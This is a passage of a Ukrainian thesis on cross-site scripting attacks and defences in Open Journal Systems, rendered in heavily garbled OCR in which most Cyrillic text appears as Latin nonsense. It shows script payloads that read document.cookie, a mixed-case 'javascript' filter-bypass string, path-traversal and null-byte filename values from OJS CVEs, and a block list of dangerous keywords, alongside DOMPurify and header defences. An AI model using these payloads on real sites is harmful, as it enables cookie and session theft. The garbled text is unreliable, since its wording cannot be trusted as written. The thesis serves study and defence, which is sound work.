Pucynoxk 1.11 — ®opma koMeHTapiB



3anuuTte CBO1 KOMeHTapi

Bawe im'A

hacker-name

Baw komeHTap

<script>alert(document.cookie)</script>

HALICNATH

Pucynox 1.12 — 3anoBHeHa ¢opma KOMEHTapiB

KomeHTapi (3)

TeTAHa

A KocMeTUKa - cnpaBXHA 3Haxigka anAa moel wkipu! Bnepwe cnpobysana 1i
i BpaxeHa pesynbTaToM. TekcTypa fnerka, apoMaT uYyLoBWi, i1 ronosHe -
BuavmMMn edekT. Mos wkipa Tenep BuUrnsgae ceixow i 3popoBow. PekomeHayw
BCiM, XTO wykae epeKTHUBHWI AornAg 3a wkipow. [AKYH BUPOBHUKY 3a Takuw
4y[oBWMW MpofyKT!

Mapin
Ua KocMeTMKa - MOA CNpaBXHA 3Haxlaka! f BXe AfaBHO WyKana WocCb, Wo
AiAcHO npauwe gnA Moro Tuny wkipw, 1 HapewTi 3HaWwna uel nNpodykT. BiH

He nuwe 3pobuB Mow WKipy 6inbw 3p0poBoW i cAwdYow, ane W gonomir
3MEHWUTK NpobnemMn 3 akHe. PekoMmeHayw BCim cnpobysaTu!

hacker-name

Pucynox 1.13 — Bci komenTapi
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NoeiaomneHHa 3 127.0.0.1:5500

localauth=localapi488a7f5effbc8:;
_ga=GA1.1.2ef76f280764ed11ad32b48c9dd3226¢;
_ga_7Z28525QR15=G51.1.1695976643.2.1.1695978764.0.0.0

Pucynok 1.14 — BuBenenns cookie kopucrtyBaya

1.3. CrarucTuka XSS arak

XSS BpazmuBocTi BXOAATH A0 Tonm 10 KpUTHMYHUX Bpa3iaMBOCTEH O€3MeKH, SKi
BIUTMBAIOTh Ha pO3BUTOK Oi3Hecy. Y 2015 pomi Oinbme 50% ycix BpasiuBocTen
BeOmonatkiB Oynm moB’s3ani 13 XSS. Bimmosimno mo 3Bity CWE (Common Weakness
Enumeration), 8 2020 pori XSS o4oJ1r0Baja CIIMCOK HAHOUIbIIT HEOC3MEYHUX BPa3InBOCTEH
nporpamHoro 3abesnedeHHs. Cepemns BapTicTh XSS-atakm cTtaHOBUTH 1,8 MinbiloHa
nonapis [15].

BianoBigHo 10 10oCHiKEHB, HAHOIBII MTONMYJISIPHUMHI HAIIPSIMKaMU JIJISI XaKepiB, JJIs
peanizauii XSS ataku € Taki chepu:

e po3Baru (OHJANH-BIICOITPH);

e (inaHcy;

o IT;

® Ypan,

® TPAHCIIOPT.

OpHiero 13 MOMyJSIpPHUX aTak Oyjia aTaka Ha OoHyaiH-Bigeorpy Fortnite, ne xakepu
3MOTJIM OTpUMATU JocTyn a0 nanux 200 MiTbHOHIB KOPUCTYBadiB, 3a JOMOMOTOIO
HEaKTUBHOI cTOpiHKH [15].

binbmiicte arak, skl cropsMoBaHl Ha (¢iHAHCOBY cdepy, 3IIHCHIOIOThCS Ha

API(Application Programming Interface). Hanpuknan, APl mmatixHoi cuctemu [15].
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Haiiripmmm € Te, 1110 iCHYIOTh POrpaMu/IIJIariiu, ki JOTOMaratoTh 3JI0BMUCHUKAM
MPOCKaHyBaTH BeOJOIATKU Ta 3HAWTU Bpa3nuBicTh XSS. J[o TakuX mporpam BiAHOCSATHCS
XSSMap, XSS-Radar, XSSer, XSSniper, XSStrike ta ixmmi [15].

Hait6inpm monynsipHoto tiardopmoro s 3aiiicHeHHss XSS atak € WordPress,
OCKUJIbKH 1€ HaAWIOMyJISIpHIIIA CHCTEMa YMPAaBIIHHA KOHTEHTOM, 1 HaWMpOCTIiIia s
kopucTyBauiB. [Ipore 1151 muiargpopma MicTUTh 6:113bK0 98% Bpa3nuBOCTEM came B IIIariHax,
SIK1 pO3pOOHUKH 3a3BUYail BUKOPUCTOBYIOTH JIJISI TTOJICTTIIEHHS pO3pO0OKH caity [16].

Posristaemo Bunagku XSS arak.

Xpobak XSS (Bipyc MIKCAWTOBOTO CIIEHApii0) 3apa3uB Ouibine 1 MiH. TpodiiiB
kopuctyBauiB MySpace numie 3a 1 1eHb. Xpobak NommproBaBcs eKCIOHEeHI1anbHo. Y 2018
poui komnanis British Airways mignanace XSS arari Bijf Xakepcbkoi rpynu Megacart.
BukopHCTOBYIOUM CallT, XaK€py HaMarajiuChb BHUKPAcTH KOH(IIEHIIIHI JaHl KIIEHTIB. Y
2008 porri i yac BuOopyoi kommanii bapaka O6amu, xakep 3HaimoB XSS Bpa3nuBICTh HA
CalTi JTaHOTO MOJITUKA. | BUKOPUCTABIIM If0 BPa3iuBiCTh, 3pOOUB Tak, MO0 BCi, XTO
3aX0JIMB Ha BeOCalT, mepeHarnpapisuiuch Ha ctopiHky ['imnapi Koiinron. IIpote, komanaa
TIOJIITHKA, 32 JICKIJIbKA TOMH JIIKBiyBaja 110 Bpa3IMBICTh, SKa MICTHJIACh B OJIHIH 13 (hopM
Ha caiirti [17].

VY 2011 pomi HPY(Llentpansue posBigyBanbHe yrpaiinaga CIHIA) 3aznamo XSS
aTakd Ha iX BeOcalT. [lany aTaky 3M1MCHUB 1HIIMNCHKUN XaKep, SKUW MPOHUK HAa BEOCAUT 1
nomkonuB #oro. Y 2020 pomi artaku 3a3HaB Amazon Alexa, depe3 HenpaBuIIbHI
koH(pirypamii CORS. Konu 370BMUCHUK BHKOPHCTAaB JaHy BpaslMBICTh, BIH OTPHUMAaB
noctyn 10 CSRF-TokeHiB, sKi J03BOIWIN HOMY BUKOPUCTATH 11i TOKEHH B SIKOCT1 aKayHTIB
KOPHMCTYBAYiB, 1 IIATH BiJ X iMeHi B cuctemi [17].

¥ 2019 pomi cuctema oxoponu 310poB’st [1iBHiuHOT Kaposinu BUsiBUIIa BUTIK TaHUX
KITieHTIB uepe3 aTtaky XSS. bini xakepu BUABHIN Bpa3nuBOCTI XSS y 6araTh0oX iHTEPHET-
KOMIIaHisgx, Takux sk Google, Amazon, npote koMmaHii yxe BunpaBuin ix. Takox, Tesla
Mana BpasnusicTs Stored XSS. Ii BusBuB Ginuii xakep, 3a 10 oTpuMaB BUHaropoay B 10
TUCA4 aoaapiB. Bin BukopuctaB iHcTpyMeHT XSS Hunter, mo qokasye, o SKmio xakepu
BUKOPHUCTAIOTh CXOXK1 IHCTPYMEHTH, TO MOXKYTh IIIBUIKO 3HAWNTH BPA3IMBOCTI y MOTPIOHUX

Be010/1aTKaX Ta BAKOPUCTATH 1X y CBOIX muisix [17].
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1.4. Onuc Bpasausocreit B OJS 1o Bepcii 3.3.8

0OJS (Open Journal System) — 1e enekTpoHHa cUcTeMa I MyOJIiKalliid Ta KepyBaHHS
HaykoBuMU kypHagamu. OJS (puc. 1.15) oxorutroe BCi mporiecy ypaBIiHHS MyOJTiKaIlissMu,
TaKl sIK pelaryBaHHs, pelieH3yBaHHs, MyOJiKallis, 1HAeKcallis )KypHasiB Ta MyOIiKaiii, ta

iarre [18].

Pucynok 1.15 — IMpuxman OJS (https://www.jdsr.io/)

Opna OJS Moxe MATPUMYBATH OJHOYACHO JEKUIbKa HAYKOBHX XypHamiB. Jlis
KOKHOT'O JKYpHaJly CTBOPIOEThCSI CBIM callT Ta OdOpPMIICHHS, BIJAMOBIJHO 0 TEMATHKHU.
Takox a1 pe1akTopiB, aJMiHICTPATOPIB HAAAIOTHCS OKPEeMI MpaBa a1 qoctymy (puc. 1.16)
[18].

binem sixk 30000 xypHaniB y 150 kpainax BukopuctoBytoTh Open Journal System,
myOJikari cTBOpioroThes Outbiie 60-ma moBamu. ILle pobute OJS HanomupeHImmmm
pOorpaMHUM 3a0€3MEeUCHHSIM ISl KepYBaHHS Ta MyOJTiKalliif HayKOBUX cTaTTe y cBiti [19].

[lepuum etanoMm i CTBOpeHHs MyOJikalii € eTan 3allOBHEHHsI 3aroJIOBKa CTAaTTI,
KIIIOYOBMX cJiB Ta aHoTamii. [licns mporo, aBTOp 3aBaHTaxye Gainu myOmikamii, ii

nepekiaa. HacTymHuM eramoM penakTopu MNEpeBIpsAIOTh IMyOJIiKalliio, BCTAaHOBIIOIOTH


https://www.jdsr.io/
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craryc (puc. 1.17), Hanpukian, «Ha peAaryBaHHD», «OMyOIIKOBAHOY», IPHUUHSATO», «HA
nepeBipii», Ta iHII. PemakTopm MOXyTh (QUIBTpyBaTH Bci myOiikamli MO NEBHUM
napamerpaM. Ilicis mepeBipku mmyOstikalii, 10 Hel J0Jal0ThCs IEBHI MapameTpH, 1100
nyOmikamist ingekcyBanack B Google Scholar, DataCite Ta B iHmmx cepBicax.
3aBanTaxkyBatu myoOumikauii MoxHa y ¢dopmari PDF ta HTML. Takox nms koxHOL

nmyOJTiKallii CTBOPIOETHCS CTATUCTHKA MIEPETJISIIB Ta 3aBaHTaXEHb.

Journal of Public Knowledge L @

Submissions Users & Roles

User R site Access Option: T
settings
Journal
Current Roles Q search Create New Role
Website
Workflow
Distribution > Journal Journal Manager
Users & Roles manager
» Journal editar Journal Manager
Lo » Production Journal Manager
Articles editor
tal Actr
S Ly *  Section editor Section Editor
Users
* Guest editor Section Editor
Reports
» Copyeditor Assistant [ 1]
Taols * Designer Assistant [ ] [
£l ain » Funding Assistant [ ]
coordinator
* Indexer Assistant [ 1 [
*  Layout Editor Assistant [ ] [
> Marketing and Assistant O 1
sales
coordinator
» Proofreader Assistant L 1 L
»  Author Author
» Translator Author
> Reviewer Reviewer

Pucynox 1.16 — Po3noainenns poseit ais aBTOpiB, peIaKTOPIB Ta 1HIITUX

Journal of Public Knowledge

 svomimons Submissions

D
®©

Issues

All Active MyQueue  Unassigned  Archives 3 o el
Settings
Journal
Website All Active Q T Filters  New Submission
workflow

19 Woods x

Distribution O copyediting ) View -

Finocchiara: Arguments About Arguments

Users & Roles

% Rossi §
X O submission ) View -
Infiuence of long-term nutrition with different dietary fats on fatty acid composition of heavy pig.
Statistics
Articles 5 Baiyewu

d " e © Production | View
vam diseases and Its management in Nigeria
Editorial Actvity g 3

Users 1 Daniel
Q Submission View
Reports Towards Designing an Intercultural Curriculum: A Case Study from the Atlantic Coast of Nicaragua
13 Kumiega
Tools Review | View -

Hydralogic Connectivity In the Edwards Aquifer between San Marcas Springs and Barton Spri
Administration
12 christopher

Review | View
Sodium butyrate improves growth performance of weaned piglets during the first period afte..

1 Al-Kkhafaji et al.

© submission view
Learning Sustainable Design through Service
1 Novak

Condensing Water Avallability Models to Focus on Spedfic Water Management Systems 0 Review | View

Pucynok 1.17 — Crarycu my0mikamii
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Cucrema OJS wMicTUTh UYMMaJIO BPA3IMBOCTEH, $KI BHUSBHIA JOCIITHUIIBKA
nabopatopis High-Tech Bridge SA [20, 21, 22]:

1. CVE-2012-1467 - Maninyssii 3 noButbHUMHU (aiinamu. Bpasznusumu € Bepcii 10
2.3.6.

1.1 loBinpHEe BUAQJICHHS (hailiy.

Bximni  pmani, 4Ki  T[epeJaBaiMCh B mapamMerp  param y  daiim
«/lib/pkp/lib/tinymce/jscripts/tiny mce/plugins/ibrowser/scripts/rfiles.php He npoxomwmm
HaJIeXKHY BaJlijalliio mepen nepeaadero ioro y ¢pyskiito unlink(). Iro Bpa3nuBicTh MOKHA
BUKOPHUCTATU MJIs BUJAJIEHHS JOBUIbHUX (DaiTiB 3a JOMOMOIOI0 MOCIIJOBHOCTI, fKa
no3BoJisie ooivit katanor (|/../../ ... L A AT ftemp/file).

1.2 JloBinbHE niepeiiMeHyBaHHs (haiiiiB

BxigH1 naHi, siKi nepelaBajiuCch B mapaMmerp param B (aii, onMCaHWil BUIIE, HE
IPOXOIWIN HaJeKHY Balifallilo mepen mepedadecto ioro y ¢yskiiro rename(). Lo
BpPa3JIMBICTh MOXXHA BUKOPUCTaTH JUIs TepelMeHyBaHHS (ailyliB Ta s 3MIHH iX
po3mmpeHHs, Hanpukiaaax 3 Pdf ma php, 3a K0mMOMOrow TEXHIKM HYJIBOBOTO OaTy
(|file.pdflfile.php%00.pdf).

2. CVE-2012-1468 - JloBinbHE 3aBaHTaKeHHS (aiiniB. Bpaznusumu € Bepcii 10 2.3.6.

Posmipennst TumiB ¢aiiaiB He MEpPEeBIPAIOTHCS, KOJIU aBTOpP 3aBaHTaXye (aniau
nyOmikaiii. ABTOp MOXe 3aBaHTOXUTH (ainu 3 posmupeHHsMm .exe, .php, .html.
Bukopucratun naHy Bpa3iHMBICTE MOXKE JIUIIEC 3apPEECTPOBAHWN KOPHUCTYBAad 3 IPaBAMH
aBTopa. [Ipu peectpailii KOprUCTyBad MOKE€ MO 3aMOBUEHHIO TTPUCBOITH COO1 POJIb aBTOPA,
TOOTO OYJIb-XTO MOKE BUKOPUCTATH JIaHy BPa3IUBICTb.

3. CVE-2012-1469 — Jlexinbka XSS BpaznuBocTeil. Bpaznmusumu € Bepcii 10 2.3.6.

3.1 BximgHi JaHi, SIK1 nepe1atoThCs y daiin
/lib/pkp/lib/tinymce/jscripts/tiny  mce/plugins/ibrowser/ibrowser.php He  CKHIAIOTHCS
(oumnmIaroThCA) Mepes] MOBEPHEHHSIM BIAMOBIAI KOpUCTyBaudy. Lle MOKHA BUKOpHUCTATH ISt
BHKOHaHHS Oyb-skoro koxy HTML 1 310BMHCHOTO KOOy B ceaHci Opay3epy KOprcTyBaya.

3.2 BxiaHi gaHi, siki nepenarothes B mapamerp URL B daiin index.php He ckumaroThest
(ounIarTHCA) Mepe 30epeKeHHIM B 0a31 JaHWX, TOMY BiAPaBiCH] J1aHl 30epiraloThCs B

0a3i i e mpu3BoauTh 10 Stored XSS artakw.
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3.3 @yukmis stripUnsafeHtml() y daiini /lib/pkp/classes/core/String.inc.php, sika

MOBMHHA OYMINATHA JIaHI KOPUCTYBAYiB IMICIA iX BIANPaBKH, HE BUKOHYE OYMUIIEHHS
HaJIeXKHUM YMHOM. Yepes 11e, BBE/ICH1 1aH1 KOPUCTYBauiB 30€piraroThCs, 1110 MPU3BOIUTH J10
0aratpbox Stored XSS arak y BCIX CKpuUIITax, Jie BUKIHKaeThes pyHKs stripUnsafeHtml()

4, CVE-2022-24181. Bpasznuumu € Bepcii 2.4.8 to 3.3.8

Bpaznusicts XSS, sika mossrae B TOMY, 110 3JIOBMUCHMKH MOXYTh BIPOBAIAUTH
37I0BMHCHUI K01 y 3aroiioBok X-Forwarded-Host. [1{o6 pearnizyBatu 1o aTaky, moTpiOHO
3a onomororo ytuiitd Burp nmepexonutu http 3anut 3aBanTaxeHHs caity. [loTiMm micins
Ha3BU XOCTY BCTaBUTH MOTPiIOHUH K0T (KOPHUCHE HABAaHTAXKECHHS ) Ta TIEPEIATH ITFO B1IITOBI b
B Opay3ep. | mpu BIOKPUTTI CTOPIHKM CAMTy MOSBHUTHCS BIKHO 13 OTPUMAHMMH JTaHUMH
cookie 4 iHIIMMYU TaHUMH, SIKi OYJIM IPOIKMCaHi B KOPUCHOMY HaBaHTAXKCHHI.

5. CVE-2018-16388. Bpaznusumu € Bepcii 3.0-3.3.5.

Uepes daitn /plupload/examples/upload.php HeaBTOpM30BaHI KOpPUCTyBadl Ta
3JIOBMHCHUKH MOTJIM 3aBaHTa)KyBaTH JOBLUIbHI (haiinm .php i3 300pakeHHAMH jpeg/image.
[Io6 mo30yTuCk Bif Ii€1 BPa3JIMBOCTI, BAPTO BUAATUTH 1ieH (aiin 13 cuctemu.

ba3za naHuMx eKCIUTOWTIB MicTUTh 6 ekcrutouTiB (puc. 1.18) mns Bpasmuocrteit OJS

2022-04-19 ¥ X PKP Open Journals System 3.3 - Cross-Site Scripting (XSS) WebApps PHP Hemant Kashyap

2012-03-21 * Open Journal Systems (0JS) 2.3.6 - 'rfiles.php’ Traversal Arbitrary File Manipulation WebApps PHP High-Tech Bridge

2012-03-21 * Open Journal Systems (0JS) 2.3.6 - Multiple Script Arbitrary File Upload WebApps PHP High-Tech Bridge
Open Journal Systems (0JS) 2.3.6 - '/lib/pkp/classes/core/String.inc.php?

2012-03-21 * P . Y . P J P WebApps PHP High-Tech Bridge
String::stripUnsafeHtml()’ Method Cross-Site Scripting

2012-03-21 * Open Journal Systems (0JS) 2.3.6 - index.php?authors[][url]’ Cross-Site Seripting WebApps PHP High-Tech Bridge
Open Conference/Journal/Harvester Systems 2.3.x - Multiple Remote Code Execution

2011-12-23 O f / F WebApps PHP mr_me

Vulnerabilities

Pucynox 1.18 — Hasini excruoiitu st OJS
BucHoBkmu 3a po3aijiom 1
B nepiomy po3auii AMTIIIOMHOT poOOTH MTPOBEICHO TIMOOKUM aHalli3 Mpo0IeMaTUKU

3axucTy Big atak Tumy Cross-Site Scripting (XSS). Buznaueno aktyanpHICTh 00paHOi TeMU

JOCIIIKEHHS! B KOHTEKCT1 Cy4yaCHUX BUKJIMKIB Ta 3arpo3 B raiysl iHpopMmaniiHoi Oe3neKH.
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PerenbHO pO3TISHYTI Ta CUCTEMATHU30BaHI OCHOBHI aCTEKTH XSS aTak, BKIIOYAIYH X
kiacudikalliio, Bapiamii Ta METOAM peai3allii.

JlocniKeHo akTyallbHI HapsIMKU atak Ha ocHoB1 Document Object Model (DOM),
BioOpakeHi Ta 30epexkeni araku. [IpoananizoBana ctaructuka XSS aTak, 110 JO3BOJISAE
BUSIBUTH TEHJICHIIIT Ta 0COOJMBOCTI IILOTO TUITY Kibep3arpos.

OxpeMo BHUCBITIIEHO Bpa3iuBICTh XSS y cuctemi ymnpapiiHHS KOHTeHTOM Open
Journal Systems (OJS) mo Bepcii 3.3.8, BKIOYarOuu neTadbHUN ONMKC BPA3IUBOCTI Ta 1i
MOXJIMBI Hacaiaku. Bcl Il acmekTd YTBEPKYIOTh aKTyaJdbHICTh Ta BaKJIUBICTH
MOJIAJIBIIOTO JOCIIIKEHHS Ta po3pO0KHU 3ax0/iB 3axXUCTy Bixg XSS atak B iHQOpMAaLITHUX
cuctemax. Bukopucrana y npomy po3fiiai iH(opMailisi cTaHe OCHOBOIO JJISI MOJAJIBIITUX

eTalliB JOCIIKEHHS Ta pO3pOOKH MPOIO3HUIIIH 11010 TTOKpaIlieHHs 0e3neKku BeO101aTKIB.
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PO3JILI 2

AHAJII3 MOJIEJIEM 3AXUCTY BIJI XSS ATAK

2.1 BaJginanig Ta caHiTH3auig BXiIHUX Ta BUXITHUX JAHUX

3710BMUCHUKH 31MCHIOIOTE XSS aTaku 3a3BHYaii, KOJIU BCTABISIOTH IIKIIINBUNA KO
B I10JIs1 BBOAY B popMH Ha BebOcailTax, 1 ekl KOJ He MepeBIPSIETHCS 1 BUBOJIUTHCS Ha 11N Ke
cTopiHIIi, 200 30epiraeThcs Ha cepBepi UM B 0a3i gaHux. Jjist Toro, o0 3aXUCTUTH CAMUT Bijl
LUX JI1id, TOTPIOHO MEPEBIPATH KOKHE 3HAYEHHS BXITHUX JTAHUX, IK1 BBOJSATH KOPUCTYBaul.
Hampuknan, konu € moljie BBOAY €JIEKTPOHHOI MOIITH, TO MOTPIOHO TEPEBIPUTH, IO
BBE/ICHHI JIaHI pEaJIbHO MICTATH JIMIIE €JCKTPOHHY TOITY, a He kox JavaScript uu PHP
[24].

[Tpu mepeBipill BBEACHUX JaHUX BapTO MEPEBIPSITH KOJ HA HASBHICTh HEOE3MEYHOTO
KOy, HampuKiam, “script”, “alert”, “onclick”, “onerror”, “onfocus”. To0To e Ti YacTHHU
KOJy, SIKI MOXYTh 3allyCTUTH BHUKOHAHHS TIE€BHOTO CKPUIITA, SKUW BUTIIHUNA IS
3IOBMHUCHHKA. 3a3BUYail, U BUABJICHHI TAKUX YaCTHH KOJY, BAPTO BUAAIATH iX 13 BMICTY
BXI1JIHMX JaHux. L{el rmporiec Ha3uBaeThCs caHiTh3alis [24].

CaniTtH3ariis, K MpaBUiI0, BUKOHYETHCS HA OCHOBI CIIUCKY 13 JIO3BOJICHUX €JIEMEHTIB
Ta aTpuOYTIB KOAY, @ TAKO HA OCHOBI CITMCKY 13 3a00pOHEHUMU 3HaYeHHIMU. OCKIIbKH,
TEXHOJIOT11 IBUJIKO 3MIHIOIOTHCS, Opay3epy OHOBIIOIOTHCS, TO MOCTIMHO 3’ IBISIOTHCS HOB1
BEKTOpH aTak, 1 HEMOXJIMBO OJIpa3y iX BCl nmepeadayuTH 1 ONpaloBaTy yepe3 koa. Tomy,
I BUKOHAHHSI I[LOTO €TaIry 3aXUCTy Big XSS aTak, BApTO BUKOPHUCTOBYBATH 1HCTPYMEHT
DOMPurify, sxuii noaermmts 00pooky HTML koay. B sikocti mapameTpy uist bOToO
IHCTPYMEHTY TepeaaroThCsa JaHi, sIKi KOPUCTYBad BCTaBUB Yy mojie (popMu Ha CTOPIHII
BebOcaiity. [Ticnsa nboro DOMPurify o6po0sisie 11i aHi, Bugasse Bci HeOe3neuHi pparMeHTH
koay HTML. Lle BinOyBa€eThCs AykKe MIBUIKO, TOMY BUKOPUCTAHHS LILOTO THCTPYMEHTY HE
CIPUYHMHUTH 3aTPUMKY B 00pOOIIi JaHUX KOopHcTyBaua [24].

s Bukopuctanas DOMPuUrify motpiono miakmountn 6i0gioTeKky Ha BeOcaiT, 3a

noromoror Ttery Script (puc.2.1). I B moTpiOHOMY MicIli B KOJI BHUKIHUKATH (DYHKIIIIO
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DOMPurify.sanitize() i mepegaT B Hel BX1AHI 1aHi, sKi TOTPIOHO TIEPEBIPUTH, HATPUKJIIA],

111 a1 OyTyTh MICTUTHUCH B 3MiHHIH dirty (puc. 2.2) [25].

<script type="text/javascript” src="src/purify.js"></script>

Pucynok 2.1 — [linkmtouenns inctpymenty DOMPurify

const clean = DOMPurify.sanitize(dirty);

Pucynok 2.2 — [lepenaua BXigHux ganux B (yHKIIiro Sanitize

[Ticns caniTU3aLil MU OTPUMY€EMO O€3IEUH1 JaHi, sIKI MOXKHAa BUBECTHU Ha CTOPIHKY
3a gonomororo JavaScript ¢pyskmii. [Tpukiag poOOTH TaHOTO IHCTPYMEHTY HPECTaBICHO
Ha puc. 2.3, MOKHA TOO0AYUTH, 1110 OyJ10 BuAaneHo ¢yHkiiro onclick pazom i3 naHumu, sKi

IpY KJIIKY Ha 3ar0JIOBOK MOTJIM BHBECTH JiaHi COOKie kopucTyBaua.

Timings: ems

Dirty HTML

<h1l onclick="alert(document.cookie)"> 3aronosok </h1>

Clean HTML

<h1> 3aronosok </hl>

Clean DOM

3aro/ioBoK

Pucynok 2.3 — [puxiag poborn DOMPurify
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SIKIo0 HE BHUKOPUCTOBYBAaTHM I1HCTPYMEHTH, a TEPEBIpATH JaHI 3a [E€BHUM
BCTAHOBJICHUM CIIUCKOM HeOe3neuyHuX (yHKI[iH Ta aTpuOyTiB, TO MOKJIMBO YITYCTUTH AEAK]
(dbparMeHTH KOJy, SIK1 CHeIlajibHO BU03MIHUB 3JIOBMUCHUK. Hampukiaa, BXigH1 1aHl - <a
onclick="jAvAscRipt:alert()”>XSS</a>, a ¢yHKIisA, ska 00poOJIsLe Ii JMaHi, B CHHUCKY
HeOe3neyHnx (PYHKIIH MICTHUTh CIOBO «javascripty. BiamosigHo, koiu Oyjae IOIIYK B
BXIJIHUX JIaHUX CJIOBa «javascript», To 1e cioBo He Oy/e BHUIAICHO, OCKUIBKA BOHO HE
MOBHICTIO BIAMNOBIIa€ CIIOBY, SIKE€ 3HAXOAMTHCA B CIUCKY HebOe3meuHux QyHKmin. B
pe3yJbTarti, 11l 1aH1 MOKYTh OyTH BUBEJICHI Ha CAlT, 1 TPH KIIIKY Ha CJIOBO XSS BUKOHAETHCS
dynkuis alert(), ockinbku Opay3ep 6aunTth ciioBo jJAvAscRipt sik javascript, He 3a1eKHO Bif

perictpy jditep (puc. 2.4 — 2.5) [26].

« > C ® 127.0.0.1:5500/sanitize.html

XSS

insights & Adblock Plus|

€ 3 @ @ 127.00.1:5500/sanitize htmi

MNoeigomnexns 2 127.0.0.1:5500

Pucynok 2.5 — Bukonanns alert mpu ximiky Ha XSS
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Hebe3neuno BUBOAUTH HETIEPEBIpEHi Ta HEBIADUIBTPOBaHI AaHi yepe3 QyHKII, K1
BUBOJSTH AaHi 0e3 eBHOI 00p0oOKH, TOOTO AKIIO KO Oye MICTUTH 3BUYAITHI TETH, TEKCTOBI
eJIEMEHTH Ta CKPUIITH, TO Bce BuBeAeThes y popmari HTML, a He B TekcToBOMY (hopmari.
Tob6ro me moxke Oytm HeOesmeuno. Ha puc. 2.6 HaBeaeHO MpUKIA] OC3MEYHUX Ta

HeOe3neyHuX (PYHKINH BUBEJEHHS JAaHUX JUIA PI3HUX MOB IPOTpaMyBaHHS Ta TEXHOJIOT1M

[24].

MoBa nporpamyBsaHHs/ HebesneyHo BesneyHo
®peiAMBOpK
Anaular bypassSecurityTrustHtml() abo iHLWIi 3aXWLLEeHi 3@ 3aMOBYYBaHHAM
9 trustAsHtml() abo ElementRef (BkMroYakoum innerHTML)
JavaScript innerHTML innerText
JQuery html() text()
JSp . <c:out value="${variable}">
${variable} abo ${fn:escapeXml(variable)}
React dangerouslySetinnerHTML abo iHLWI 3axuLLeHi 3a 3aMOBYYBaHHAM
findDOMNode abo createRef

Pucynok 2.6 — besneuni ta Hebe3neuH1 GyHKIIii

Takox mpu Bamigalii JaHUX 3a3BUYail BUKOPHCTOBYETHCS KOAYBaHHS CHUMBOJIIB.
Hampukinazn, cumBon “>" KoHBEepTYyeThes B &gt;, cuMBoa “<”’ KoHBepTyeThes B &lt;. Came
1Ile KOJIyBaHHS 3a0e3neuye Oesneky BeOcalTy. ToOTO sIKIIO B MOJie TONIYKY BBECTHU
3HadyeHHs “<script> alert(document.cookie)</script>", To npu kiiKky Ha KHoOmKy [lomyk,
BIJIKPUBAETHCS CTOPIHKA 3 PE3yJbTaTaMU MOITYKY 1 BABOJUTH 3arojoBok «Bu mrykanu &lt;
script &gt; alert(document.cookie) &lIt; /script&gt;». Skmo 6 He Oyn0 KOAYBaHHS, TO
CKpPHUIIT MIT OM BUKOHATUCH, SKIIO O JaHl 3 TOJIs TOIIYKY BCTaBISUTUCH HA CTOPIHKY

pe3ynbTariB nowmyky y surisal HTML po3miTku.

2.2 BukopucTtaHHs 3arojioBkiB 0e3nexu ta CSP

Buxopuctrannass HT TP 3aronoBkiB € HAUMPOCTIIIAM BapiaHTOM JUTsl 3aXUCTY Big XSS

arak. HTTP 3aromoBok X-Content-Type-Options — BUKOPUCTOBYETHCS ISl 3aXUCTY Bij
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MIME BpasnuBocteii. Taki Bpa3nMBOCTI BUHUKAIOTh, KOJIM KOPUCTYBad 3aBAHTAXKYE HA
cailt (aiin, skuil Mackye mif nmeBHUM Tum ¢aitny. | B pe3ynpTaTi, MOXKE BUKOHATHUCH
3JI0BMHUCHHMH KO 1 3AificHuTHCh XSS artaka [27].

PosrnsineMo, ik JaHUi 3ar0JI0BOK JtorioMarae 3ano0irtu atakaM. Komu kopuctyBau
HaJICUJIaE 3aIuT JI0 BeOcepBepa Ha neperisia 300paxenns default.jpeg, iiomy nosepraeThest
BIIOB1b 13 3arosioBkoM X-Content-Type-Options:nosniff. Koau Bctanosienuii nosniff, To
KopucTyBauy 3a0oponeHo “sniff” tum ¢aitry, mo06 nepeBipuTy Yu BiAPi3HAETHCS TUTT (haiiry
BiJl TOro, 10 BKa3zaB cepmep. Ilicis toro, sk Opaysep npuiinsB tun MIME, skuii OyB
BKa3aHUI cepBepoM, Opay3ep MmoKaszye 300pakeHHsT KopucTyBadesi [27].

3aronoBok X-Content-Type-Options (puc. 2.7) miATpUMY€EThCS TaKUMU Opay3epaMu
[27]:

Google Chrome;

Internet Explorer;

Firefox;

Opera.

ooo

1) Network {3} Style Editor () Performance {k Memory [E] Storage -y Accessibility 288 Application
I Q @ Al HTML €55 JS XHR Fonts Images Media WS Other

1. § BI Headers Cookies Request Response Timings StackTrace  Security

HTTR/Z
11.78 KB (64.24 KB size)

strict-origin

~

Response Headers (480 B)

cache-control: private
content-encoding: gzip
content-length: 11584
e | 1 content-type: text/htmlcharset=utf-8
date: Sat, 23 Jan 2021 15:12:23 GMT
referrer-policy: strict-origin
server: Google Frontend
strict-transport-security: max-age=31536000; includeSubdomains

e | 1 wary: Accept-Encoding

I x-content-type-options: nosniff I

x-frame-options: SAMEORIGIN
x-wss-protection: 1; mode=block
Reguest Headers (446 B)

Accept: text/htmil,application/xhtml+xmil,application/xml;q=0.9,image/webp,*/*,q=0.8
Accept-Encoding: gzip. deflate, br
Accept-Language: en-US,en;q=0.5
Cache-Control: max-age=0
Finisl Connection: keep-alive

Pucynok 2.7 — 3aronoBok X-Content-Type-Options
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3aronoBok Content-Type — BUKOPUCTOBYETHCS SIK MOKA3HUK OPUTIHAIBHOTO THUITY
Mefiadaiiny, nepea TUM, SIK AJs HOTo Oyae 3aCTOCOBAaHO Oyb-fKEe KOAyBaHHS. SIKIIO
HEeTpaBWJIbHO BCTAHOBUTH 3HAYEHHsS JJISl 3ar0JIOBKA, TO, HANPUKIIAJA, 300paKCHHS MOXKe
Oytu inTepnperoBane sk HTML kox, 1o 3po0uths BeOpecypc Bpa3iuBuM 10 XSS aTaku.
PexomeH10BaHO BUKOPHCTOBYBATH B (hopMaTi, SIK oka3aHo Ha puc. 2.8. ATpulyT charset €

000B’SI3KOBUM 17151 BUKOPHUCTaHHs, 11100 3amooirtu XSS atakam [28].

X Headers Preview Response Timing

v General
Request URL: https://www.w3.0rg/International/articles/http—charset/index.de
Request Method: GET
Status Code: @ 200
Remote Address: 128.30.52.100:443

Referrer Policy: origin

v Response Headers
accept-language: bytes
cache-control: max-age=21600
content-encoding: gzip
content-language: de
content-length: 4459
content-location: index.de.html

content-security-policy: upgrade-insecure-requests

|content-type: text/html; charset=utf-8 |

Pucynox 2.8 — Bukopucranus 3aronoBky Content-Type

3aronoBok Website Iframe Protection (X-Frame Options) BUKOPHUCTOBYETHCS IS
TOro, MO0 MOBIJOMUTH Opay3epy UM MOKHA BIJIOOpakaTH Ha CalTi Takl €JIEMEHTH, SK
